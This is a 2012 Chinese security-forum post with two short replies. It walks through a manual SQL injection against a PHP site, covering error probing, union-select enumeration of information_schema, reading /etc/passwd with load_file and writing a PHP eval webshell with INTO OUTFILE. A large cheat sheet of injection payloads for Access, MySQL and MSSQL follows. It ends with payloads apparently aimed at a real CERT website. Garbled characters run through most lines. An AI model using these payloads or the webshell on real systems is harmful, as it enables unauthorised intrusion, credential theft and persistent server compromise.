找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2691|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~( p; K  `) p1 j; M8 K8 m
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?6 P0 w! S; Y- w4 J$ [, ^
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
" y5 V) E, o; u: S, T6 o* w6 m& T' v如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)5 N9 U) b' I/ }! ?  c" d* D
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)* k8 J, w2 \5 x, ~' M# O, c8 n
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:# L* k4 t. d" l2 O& f! a
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in  p  Q, g& Q8 ?$ Y. C# m% w+ ]
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
- X8 H9 ]2 f  E* n- |1 G                        
) g4 D& n) k0 Z/ L% a" x6 ~2 K2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
# i5 a& R4 M( b- ]9 j3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意3 W  e% X, }, s4 ~- H0 b0 @
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息( s" B! ^# b5 c5 [, n5 O/ e
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。! B' n9 [: w) A( Z7 N4 Z+ N
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,! S9 y- ^5 b8 \  g, B4 Y
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。8 X, Z6 a1 O( U" Y/ e
我就用的是第二个思路,3 b& p# u  [2 G$ z' H; L* g
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  ! E( ^1 L/ R# x6 C3 h- E0 k
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
3 u1 g$ z% C1 J: W2 H7 n提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--5 J9 l8 k8 i& e2 l. T& `
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
$ j9 p9 f/ c" U% D1 H7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????" o+ f* w) X2 p0 A
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....2 P0 i+ |. M2 k( P# ^
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --9 C$ g+ y, ?5 v) G
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,& y! h: `, m, ^& E
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......2 b/ W2 h) W' T- X+ }
下面是一些很普遍注入方式资料:( `4 {/ y9 Q$ b. n
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
% t5 o; o; f) @拆半法# V3 K) e! o, p
######################################" t3 `, n* F6 M3 a- T. u
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。, D6 x8 V; v' r# v- D4 M
and exists (select * from admin)! m6 Q$ y. M: L$ v
and exists(select id from admin)
. I4 ?% ]4 H) y: [and exists(select id from admin where id=1)! y4 H* E: m- F
and exists(select id from admin where id>1)
( B' B% l1 M) A5 K3 D; K' m0 w然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
+ [7 u9 S* d  g$ m2 x( m: \1 |4 hand exists (select username from admin)5 k# ?9 p% n) Q: Y0 o+ q3 G; i
and exists (select password from admin)
: p& E* _# H  j/ |& v# G  f* V5 wand exists (select id from admin where len(username)<10 and id=1)  {: ^3 A1 ~& N$ ^0 b
and exists (select id from admin where len(username)>5 and id=1)
& m) [5 M$ \1 N9 c5 Kand exists (select id from admin where len(username)=6 and id=1)" n" M. w6 Q* e' z( X) f( c
and exists (select id from admin where len(password)<10 and id=1)
: _) D# F, x: Z, Fand exists (select id from admin where len(password)>5 and id=1)( W6 F3 `3 ^1 ~/ {: j, H
and exists (select id from admin where len(password)=7 and id=1)
+ S  b" g, K# Zand (select top 1 asc(mid(username,1,1)) from admin)=97$ F9 _. K) u9 C1 q
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
7 a: E0 x# @+ t猜第二位把username,1,1改成username,2,1就可以了。
/ e/ a2 F% [5 R. ], N2 e猜密码把username改成password就OK了2 n  Z9 _7 t; e5 I
##################################################
* R2 j0 R) S/ V" S搜索型注入
( H7 W  ?5 V. z" k) O5 u##################################
. C8 V; f( \" y) y* v%' and 1=1 and '%'='
* p+ j2 h, l8 {* j/ Q1 C4 A%' and exists (select * from admin) and '%'='9 l& v7 G) P, ~' M) H$ n' p
%' and exists(select id from admin where id=1) and '%'='5 r9 d* r6 i+ L# R  Q/ [
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
0 q. Z3 K- g1 U' C# H9 q%' and exists (select id from admin where len(password)=7 and id=1) and '%'='8 g2 H* w3 R" t  M& p3 b, c( s5 }
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='; b8 g) u" _. {8 K5 Q* H
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
9 N- \/ u: G% X  ~对于MSSQL数据库,后面可以吧 and '%'='换成--, g* I) n! \* [  W, J1 l& }/ \* i
还有一点搜索型注入也可以使用union语句。
4 E9 T( d. z1 n4 S  b0 _8 r########################################################
5 H1 h) ~% k0 C# o6 w* J联合查询。
! p2 T+ C, P9 b7 f1 y- p. ~8 a, @#####################################
8 g1 H( H3 m  H/ C( i- D/ g1 v: M6 uorder by 10; z/ I! ~. t/ C: c$ C. D
and 1=2 union select 1,2,3,4,5,6,7,8,9,100 Z% n" f0 k% [) x) f
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
: R: p# L; _8 i. c: R1 d! Xand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
' Q& Z0 ^7 ^$ P很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)' }& o1 Z& h, i& W: C) g
###################################
4 I. {; u" N  S$ l+ hcookie注入
+ W3 n* E! M/ y###############################2 N  B2 T' `& z
http://www.******.com/shownews.asp?id=127- N4 @% W! w  E+ }( f- m4 n
http://www.******.com/shownews.asp
+ v: X6 Z: g' Q2 r8 Ualert(="id="+escape("127"));2 {( t# A2 E" K4 l1 M( o, U
alert(="id="+escape("127 and 1=1"));" E0 o7 m3 i1 o# X+ n
alert(="id="+escape("127 order by 10"));2 u7 _* [# ^1 u- C$ H, {' F( J( A
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
0 `8 y: e) C* [4 `alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
- ^3 A" N/ N4 c$ r: l  k这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
* c/ ]+ D% A; ]+ G( A#################################### E) J" s7 V- B8 }; j
偏移注入( I7 h* F/ X* f1 n3 g! Z
###########################################################9 s+ W# t" O. a3 c, |) t' ]3 U
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
  M5 h/ x2 e  b6 ]; p( Dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin# r3 Z/ v9 w# B7 n* k  P7 J
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)) ]5 n; ]& U2 u( `
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
5 ]9 N1 G% n& Q: W  _) munion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)* t  U/ N* L8 I3 F: V& H( j
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
* ~0 r1 ?% y3 R# @9 Hunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
$ ]- H7 I! Q" X& ?a.id=d.id)
5 c1 b5 q, ?6 \4 v9 o6 T& pand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)$ O" p; q! f$ ?) n9 ^+ a2 a+ \
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
" k+ ~8 t) v& T9 q* P5 D( j. w0 J  
+ H; s  i+ j5 Z" m/ X! N============================================================================================================
/ q; x0 P, P6 F, G8 Y& {+ A1.判断版本( l& X5 Y' b# r0 @/ }4 b
and ord(mid(version(),1,1))>51( d- b7 g! J3 R& b
返回正常,说明大于4.0版本,支持ounion查询
3 S1 k5 w1 `" A+ m( E6 o: x# k2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解7 z) P8 K# N' i4 C7 E# G% W5 Z
and 2=4 union select 1,2,3,4,5,6,7,8,9--3 a. f4 `1 s, l$ \% v
3.查看数据库版本及当前用户,* a7 |- _$ w* W& {; U
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--1 _. |1 y( `$ A
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,* |3 D. A1 i8 P( P
4.判断有没有写权限
; O# U; Q# |9 zand (select count(*) from MySQL.user)>0--
7 g% e  o" {$ B1 p5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1) x1 M, k/ w3 C
用不了这个命令,就学习土耳其黑客手法,如下
# ~3 z/ E3 {- A% v# o8 w9 S/ Eand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--" X0 j5 b8 L; L
6.爆表,爆库
7 o5 p( s9 ]0 iand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
- F- n: n7 ?. v7.爆列名,爆表
) ~- C, t+ U- j! \and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
$ C/ l6 G! T3 p& x2 i8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
$ _8 r. B+ S, L; [: c( A/ _and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
8 s  ~4 c3 c+ r9.爆字段内容) J* G% ]6 l. `" [; r. O
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--- [: W) j; z3 h3 w7 i4 ?; Q
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表